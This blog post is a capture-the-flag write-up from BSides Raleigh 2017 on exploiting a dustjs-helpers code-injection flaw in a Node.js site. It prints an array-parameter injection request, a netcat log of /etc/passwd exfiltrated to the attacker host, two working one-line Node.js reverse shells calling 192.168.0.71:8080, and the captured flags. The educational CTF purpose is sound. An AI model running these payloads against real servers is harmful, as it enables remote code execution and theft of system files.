Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
There was a challenge with Nodejs code injection during the BSides Raleigh CTF, and here is the write-up.
First, I apologize for not putting the period in Node.js, but it is messing with my URL structure and SEO plugin.
Gabe suggested this challenge to me as a fun one, and I believe that no one else was able to solve it.
One of the earlier challenges revolves around logging into the consultants page – http://192.168.0.205/consultants
In this case, Gabe told me to take a further look into the page, to see if I could find anything.
First, I found a comment mentioning the eversec-website Github repository.
<!-- <a href="https://github.com/eversec-rocks/eversec-website"><img src="/images/express.svg"></a> Hiding until we can figure out how Github badges work -->
From there, I started to peruse the repository (https://github.com/eversec-rocks/eversec-website) to see if I could find anything interesting.
First, I decided to try to fuzz the password box. While SQL Injection wasn’t the correct path (it has been in the past though), I was able to eventually get an error page.
After a bit of searching around, I noticed that the app.js file was including the dustjs-helpers library.
Enter my super-pro Bing skills, and it looks like there might be some sort of vulnerability in this library.
Following the Paypal RCE write-up, I also attempted to send a password parameter as an Array instead of a string. Similar to the author, I received a syntax error, so I hoped that I was in business!
http://192.168.0.205/consultants?password[]=&password[]=%27
First, I attempted a similar payload to the original author, to verify code execution.
root@kali32:~# nc -lvvp 80 listening on [any] 80 ... 192.168.0.205: inverse host lookup failed: h_errno 11004: NO_DATA connect to [192.168.0.71] from (UNKNOWN) [192.168.0.205] 48716: NO_DATA POST / HTTP/1.1 User-Agent: curl/7.35.0 Host: 192.168.0.71 Accept: */* Content-Length: 1121 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------ed3bb114db9fbf15 --------------------------ed3bb114db9fbf15 Content-Disposition: form-data; name="x" root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false evrs:x:1000:1000::/home/evrs: --------------------------ed3bb114db9fbf15--
With code execution successful, it was time to get a shell!
While it should have been possible to just execute a system command, I wanted to write my reverse shell in Nodejs as well!
First, I found a gist for a Nodejs reverse shell, that looked like it would solve my problem perfectly.
Next, I minimized the script down to one line, to keep things cleaner.
var spawn = require('child_process').spawn; var net = require('net'); var reconnect = require('reconnect'); reconnect(function (stream) { var ps = spawn('bash', [ '-i' ]); stream.pipe(ps.stdin); ps.stdout.pipe(stream, { end: false }); ps.stderr.pipe(stream, { end: false }); ps.on('exit', function () { stream.end() }); }).connect(8080, '192.168.0.71');
Finally, I encoded the payload to prevent any special characters from breaking my request.
Unfortunately, it looked like I was missing a required library for this particular payload.
After a bit more searching, I found another possible reverse shell.
As before, I minimized (and then encoded) the payload. Note that this article is actually where I got the idea to eval the encoded strings.
var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(8080, "192.168.0.71", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
With my netcat listener in place, I was able to get a reverse shell from this attack! I also grabbed the two flags that I could find.
root@kali32:~# nc -lvvp 8080 listening on [any] 8080 ... 192.168.0.205: inverse host lookup failed: h_errno 11004: NO_DATA connect to [192.168.0.71] from (UNKNOWN) [192.168.0.205] 48654: NO_DATA id uid=1000(evrs) gid=1000(evrs) groups=1000(evrs),27(sudo) ^C C:\Tools\netcat-1.11>nc.exe -lvvp 8080 listening on [any] 8080 ... 192.168.0.205: inverse host lookup failed: h_errno 11004: NO_DATA connect to [192.168.0.71] from (UNKNOWN) [192.168.0.205] 49106: NO_DATA id uid=1000(evrs) gid=1000(evrs) groups=1000(evrs),27(sudo) evrs@evrs-main:/apps/evrs-main-express$ cat lol.txt cat lol.txt j00V4nd4l1 evrs@evrs-main:/apps/evrs-main-express$ cat deareversec.txt cat deareversec.txt uL3tMeD0wn4t3hL@s7T1m3
While the write-up is a little late, I wanted to make sure that it could be used at a few other cons.
This was a really fun challenge, and I’m glad that I forced myself to only use Nodejs.
I’ve got one smaller write-up, and an even bigger one on the way!
Let me know if there are any other challenges that you’d like to see write-ups for as well.
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
[…] 2018.01 [doyler] Nodejs代码注入(EverSec CTF – BSides Raleigh 2017) […]
[…] Nodejs Code Injection (EverSec CTF – BSides Raleigh 2017) – my first experience with Node.js code injection. […]